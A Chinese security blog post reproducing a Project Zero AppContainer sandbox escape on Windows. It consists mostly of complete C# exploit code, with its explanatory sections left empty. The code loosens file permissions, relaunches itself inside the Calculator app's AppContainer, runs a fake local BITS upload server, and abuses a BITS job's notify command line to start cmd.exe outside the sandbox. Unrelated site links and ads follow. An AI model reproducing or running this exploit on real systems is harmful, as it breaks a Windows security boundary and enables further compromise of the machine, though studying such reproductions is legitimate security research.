关于谷歌P0的AppContainer逃逸的一种简单的复现


简要概述
简要分析




运行效果
IBackgroundCopyJob::SetNotifyCmdLine:
https://docs.microsoft.com/zh-cn/windows/win32/api/bits1_5/nf-bits1_5-ibackgroundcopyjob2-setnotifycmdline



相关代码
using System;
using System.Collections.Generic;
using System.Diagnostics.CodeAnalysis;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using AppContainerBypass;
using NtApiDotNet;
using NtApiDotNet.Win32;
namespace AppContainerBypass
{
class Program
{
static volatile ManualResetEvent me=new ManualResetEvent(false);
static bool IsInAppContainer()
{
using (var token = NtToken.OpenProcessToken())
{
return token.AppContainer;
}
}
static void UpdateSecurity(string path)
{
var sd = new NtApiDotNet.SecurityDescriptor("D:AI(A;;FA;;;WD)(A;;FA;;;AC)");
using (var file = NtFile.Open(NtFileUtils.DosFileNameToNt(path), null, FileAccessRights.WriteDac))
{
file.SetSecurityDescriptor(sd, NtApiDotNet.SecurityInformation.Dacl);
}
}
static void FixSecurity(string dir)
{
UpdateSecurity(dir);
foreach (var file in Directory.GetFiles(dir))
{
UpdateSecurity(file);
}
}
static string cmdExe = @"C:\Windows\System32\cmd.exe";
static string mainExe = typeof(Program).Assembly.Location;
static bool RestartInAppContainer(string[] args)
{
string FakeFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.MyPictures), "1.txt");
if (!File.Exists(FakeFile))
{
File.WriteAllText(FakeFile,"fake");
}
FixSecurity(Path.GetDirectoryName(typeof(Program).Assembly.Location));
FixSecurity(Environment.GetFolderPath(Environment.SpecialFolder.MyPictures));
List<Sid> caps = new List<Sid>
{
KnownSids.CapabilityInternetClient,
KnownSids.CapabilityInternetClientServer,
KnownSids.CapabilityPrivateNetworkClientServer,
KnownSids.CapabilityPicturesLibrary
};
Win32ProcessConfig config = new Win32ProcessConfig
{
CreationFlags = CreateProcessFlags.NewConsole,
CurrentDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyPictures),
ApplicationName = mainExe,
CommandLine = mainExe + " " + FakeFile
};
config.SetAppContainerSidFromName("microsoft.windowscalculator_8wekyb3d8bbwe");
config.Capabilities.AddRange(caps);
using (var p = Win32Process.CreateProcess(config))
{
p.Process.Wait();
}
return true;
}
private static void Process_CANCEL_SESSION(HttpListenerContext context)
{
Guid SessionId = Guid.Parse(context.Request.Headers["BITS-Session-Id"].ToString());
context.Response.Headers["BITS-Packet-Type"] = "Ack";
context.Response.ContentLength64 = 0;
context.Response.Headers["BITS-Session-Id"] = SessionId.ToString();
}
private static void Process_PING(HttpListenerContext context)
{
context.Response.Headers["BITS-Packet-Type"] = "Ack";
context.Response.Headers["BITS-Error-Code"] = "1";
context.Response.Headers["BITS-Error-Context"] = "";
context.Response.ContentLength64 = 0;
}
private static void Process_CLOSE_SESSION(HttpListenerContext context)
{
Guid SessionId = Guid.Parse(context.Request.Headers["BITS-Session-Id"].ToString());
context.Response.Headers["BITS-Packet-Type"] = "Ack";
context.Response.ContentLength64 = 0;
context.Response.Headers["BITS-Session-Id"] = SessionId.ToString();
}
private static void Process_FRAGMENT(HttpListenerContext context)
{
Guid SessionId = Guid.Parse(context.Request.Headers["BITS-Session-Id"].ToString());
//string ContentName = context.Request.Headers["Content-Name"].ToString();
string ContentRange = context.Request.Headers["Content-Range"].ToString();
List<string> ContentRangeList = ContentRange.Split(new string[] { "/" }, StringSplitOptions.RemoveEmptyEntries).ToList();
List<string> crange = ContentRangeList[0].Split(new string[] { "-" }, StringSplitOptions.RemoveEmptyEntries).ToList();
string total_length = ContentRangeList[1];
string range_start = crange[0];
string range_end = crange[1];
Console.Write("Process Process_FRAGMENT:range_start:" + range_start + ",range_end:" + range_end + ",total_length:" + total_length + Environment.NewLine);
context.Response.Headers["BITS-Packet-Type"] = "Ack";
context.Response.ContentLength64 = 0;
context.Response.Headers["BITS-Session-Id"] = SessionId.ToString();
context.Response.Headers["BITS-Received-Content-Range"] = (int.Parse(range_end) + 1).ToString();
}
private static void Process_CREATE_SESSION(HttpListenerContext context)
{
string supported_protocols = "{7df0354d-249b-430f-820d-3d2a9bef4931}";
List<string> BITSSupportedProtocolsList = context.Request.Headers["BITS-Supported-Protocols"].Split(new string[] { " " }, StringSplitOptions.RemoveEmptyEntries).ToList();
if (BITSSupportedProtocolsList.Contains(supported_protocols))
{
Guid SessionId = Guid.NewGuid();
context.Response.ContentLength64 = 0;
context.Response.Headers["BITS-Protocol"] = supported_protocols;
context.Response.Headers["BITS-Packet-Type"] = "Ack";
context.Response.Headers["BITS-Session-Id"] = SessionId.ToString();
}
}
private static void Process_BITS_POST(HttpListenerContext context)
{
try
{
if (context.Request.Headers["BITS-Packet-Type"] != null)
{
string BITSPacketType = context.Request.Headers["BITS-Packet-Type"].ToString().ToUpper();
Console.Write("Process BITSPacketType:" + BITSPacketType + Environment.NewLine);
switch (BITSPacketType)
{
case "CREATE-SESSION":
{
Process_CREATE_SESSION(context);
break;
}
case "FRAGMENT":
{
Process_FRAGMENT(context);
break;
}
case "CLOSE-SESSION":
{
Process_CLOSE_SESSION(context);
break;
}
case "CANCEL-SESSION":
{
Process_CANCEL_SESSION(context);
break;
}
case "PING":
{
Process_PING(context);
break;
}
default:
{
break;
}
}
context.Response.StatusCode = 200;
context.Response.Close();
}
}
catch (Exception e)
{
context.Response.StatusCode = 500;
context.Response.Headers["BITS-Error-Code"] = "1";
context.Response.Close();
Console.WriteLine(e);
}
}
private static void StartBitsServer()
{
try
{
using (HttpListener listener = new HttpListener())
{
listener.Prefixes.Add("http://localhost:5686/");
listener.Start();
Console.Write("StartBitsServer"+Environment.NewLine);
me.Set();
while (true)
{
HttpListenerContext context = listener.GetContext();
Console.Write("Process Method:" + context.Request.HttpMethod.ToUpper() + Environment.NewLine);
switch (context.Request.HttpMethod.ToUpper())
{
case "BITS_POST":
{
Process_BITS_POST(context);
break;
}
default:
{
break;
}
}
}
}
}
catch (Exception e)
{
Console.WriteLine(e);
throw;
}
}
static void Main(string[] args)
{
try
{
if (IsInAppContainer())
{
RunBtsJob(args[0]);
}
else
{
Task.Factory.StartNew(() =>
{
StartBitsServer();
});
me.WaitOne();
RestartInAppContainer(args.ToArray());
}
}
catch (Exception e)
{
Console.WriteLine(e);
throw;
}
}
private static void RunBtsJob(string file)
{
IBackgroundCopyManager mgr = new BackgroundCopyManager() as IBackgroundCopyManager;
Guid jobGuid;
IBackgroundCopyJob job1;
mgr.CreateJob("fake", BG_JOB_TYPE.BG_JOB_TYPE_UPLOAD, out jobGuid, out job1);
IBackgroundCopyJob2 job = job1 as IBackgroundCopyJob2;
job.SetNotifyCmdLine(cmdExe, cmdExe);
job.SetNotifyFlags(BG_JOB_NOTIFICATION_TYPE.BG_NOTIFY_JOB_TRANSFERRED);
job.AddFile("http://localhost:5686/fake.png", file);
job.Resume();
BG_JOB_STATE stat = BG_JOB_STATE.BG_JOB_STATE_QUEUED;
while (stat != BG_JOB_STATE.BG_JOB_STATE_TRANSFERRED)
{
Thread.Sleep(1000);
job.GetState(out stat);
}
job.Complete();
Console.Write("Success");
}
}
}
相关引用
相关项目
看雪ID:王cb
https://bbs.pediy.com/user-home-609565.htm

# 往期推荐


球分享

球点赞

球在看

点击“阅读原文”,了解更多!
-
研究人员称谷歌reCAPTCHA验证机制很容易被机器人攻破
谷歌推出的 reCAPTCHA 验证机制被很多用户抱怨,诸如选择红绿灯、斑马线和自行车之类的操作看起来毫无意义,因为现在已经有诸多机器人可以克服该验证机制,只有真实用户才会被要求思考并选择图片。You
-
谷歌相册使用SynthID技术为照片添加盲水印 标记用户使用AI生成或修改的照片
谷歌相册应用 (Google Photos) 很早就提供名为魔术修图的功能,该功能基于 AI 技术构建帮助用户删除图片中的某些元素然后生成新副本保存。现在魔术修图中的 Reimagine 工具可以更好
-
谷歌发布Android 2月例行安全更新 修复已被黑客利用的高危安全漏洞
谷歌已经向 Android 项目发布 2025-02-01 和 2025-02-05 安全补丁级别,这是谷歌面向安卓系统发布的 2025-02 月例行安全更新,至于为什么有两个补丁级别是因为 02-0
[广告]赞助链接:
关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

随时掌握互联网精彩
- 黑客在HuggingFace上传包含恶意代码的AI模型对开发者展开攻击
- Omnisci3nt 开源的信息搜集工具
- 详解 SSL(三):SSL 证书该如何选择?
- 谁说 Python 搞不定 AI 模型微服务?!Towhee 来了!
- Snapdragon Ride平台,助力打造安全便捷的驾乘体验
- 华为胡厚崑:成就伙伴,共赢数智未来
- 在Z|北京雪诺诚招C++开发、Java开发、性能测试、解决方案、售前等工程师
- 2021网络安全行业高速增长,星阑科技API安全赛道独树一帜
- 魔盒来袭|终极薅羊毛清单,看完这篇才真的不后悔!
- 在Z|Amber Group(40K/月16薪)诚招数据安全岗(数据防泄漏方向)
- SSL证书怎么申请
- 安全“天团”齐聚蓉城,CSO论坛共话安全